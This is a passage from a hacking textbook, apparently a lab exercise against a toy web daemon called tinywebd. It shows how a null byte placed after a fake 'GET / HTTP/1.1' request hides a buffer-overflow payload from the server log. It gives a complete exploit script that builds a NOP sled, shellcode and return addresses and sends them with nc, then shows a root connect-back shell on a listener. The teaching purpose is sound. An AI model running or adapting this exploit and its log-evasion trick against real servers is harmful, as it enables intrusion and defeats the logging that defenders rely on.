One of the two most obvious signs of intrusion is the log file. The log file keptby the tinyweb daemon is one of the first places to look into when troubleshooting a problem. Even though the attacker's exploits were successful, the log file keeps a painfully obvious record that something is up.
reader@hacking:~/booksrc $ sudo cat /var/log/tinywebd.log 07/25/2007 14:55:45> Starting up. 07/25/2007 14:57:00> From 127.0.0.1:38127 "HEAD / HTTP/1.0" 200 OK 07/25/2007 17:49:14> From 127.0.0.1:50201 "GET / HTTP/1.1" 200 OK 07/25/2007 17:49:14> From 127.0.0.1:50202 "GET /image.jpg HTTP/1.1" 200 OK 07/25/2007 17:49:14> From 127.0.0.1:50203 "GET /favicon.ico HTTP/1.1" 404 Not Found 07/25/2007 17:57:21> Shutting down. 08/01/2007 15:43:08> Starting up. 08/01/2007 15:43:41> From 127.0.0.1:45396 "␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣jfX␣1␣CRj j ␣␣ ␣jfXCh ␣␣ f␣T$ fhzifS␣␣j OV␣␣C ␣␣␣␣I␣? Iy␣␣ Rh//shh/bin␣␣R␣␣S␣␣ $␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣ ␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣ ␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣$␣␣␣" NOT HTTP! reader@hacking:~/booksrc $
Of course in this case, after the attacker gains a root shell, he can just edit the log file since it's on the same system. On secure networks, however, copies of logs are often sent to another secure server. In extreme cases, logs are sent to a printer for hard copy, so there is a physical record. These types of countermeasures prevent tampering with the logs after successful exploitation.
Even though the log files themselves cannot be changed, occasionally what gets logged can be. Log files usually contain many valid entries, whereas exploit attempts stick out like a sore thumb. The tinyweb daemon program can be tricked into logging a valid-looking entry for an exploit attempt. Look at the source code and see if you can figure out how to do this before continuing on. The idea is to make the log entry look like a valid web request, like the following:
07/22/2007 17:57:00> From 127.0.0.1:38127 "HEAD / HTTP/1.0" 200 OK 07/25/2007 14:49:14> From 127.0.0.1:50201 "GET / HTTP/1.1" 200 OK 07/25/2007 14:49:14> From 127.0.0.1:50202 "GET /image.jpg HTTP/1.1" 200 OK 07/25/2007 14:49:14> From 127.0.0.1:50203 "GET /favicon.ico HTTP/1.1" 404 Not Found
This type of camouflage is very effective at large enterprises with extensive log files, since there are so many valid requests to hide among: It's easier to blend in at a crowded mall than an empty street. But how exactly do you hide a big, ugly exploit buffer in the proverbial sheep's clothing?
There's a simple mistake in the tinyweb daemon's source code that allows the request buffer to be truncated early when it's used for the log file output, but not when copying into memory. The recv_line()
function uses \r\n
as the delimiter; however, all the other standard string functions use a null byte for the delimiter. These string functions are used to write to the log file, so by strategically using both delimiters, the data written to the log can be partially controlled.
The following exploit script puts a valid-looking request in front of the rest of the exploit buffer. The NOP sled is shrunk to accommodate the new data.
#!/bin/sh # stealth exploitation tool if [ -z "$2" ]; then # If argument 2 is blank echo "Usage: $0 <shellcode file> <target IP>" exit fi FAKEREQUEST="GET / HTTP/1.1\x00" FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ') OFFSET=540 RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0 echo "target IP: $2" SIZE=`wc -c $1 | cut -f1 -d ' '` echo "shellcode: $1 ($SIZE bytes)" echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)" ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE)) echo "[Fake Request ($FR_SIZE b)] [NOP ($ALIGNED_SLED_SIZE b)] [shellcode ($SIZE b)] [ret addr ($((4*32)) b)]" (perl -e "print \"$FAKEREQUEST\" . \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"\r\n\"") | nc -w 1 -v $2 80
This new exploit buffer uses the null byte delimiter to terminate the fake request camouflage. A null byte won't stop the recv_line()
function, so the rest of the exploit buffer is copied to the stack. Since the string functions used to write to the log use a null byte for termination, the fake request is logged and the rest of the exploit is hidden. The following output shows this exploit script in use.
reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ nc -l -p 31337 & [1] 7714 reader@hacking:~/booksrc $ jobs [1]+ Running nc -l -p 31337 & reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell 127.0.0.1 target IP: 127.0.0.1 shellcode: loopback_shell (83 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request (15 b)] [NOP (318 b)] [shellcode (83 b)] [ret addr (128 b)] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ fg nc -l -p 31337 whoami root
The connection used by this exploit creates the following log file entries on the server machine.
08/02/2007 13:37:36> Starting up.. 08/02/2007 13:37:44> From 127.0.0.1:32828 "GET / HTTP/1.1" 200 OK
Even though the logged IP address cannot be changed using this method, the request itself appears valid, so it won't attract too much attention.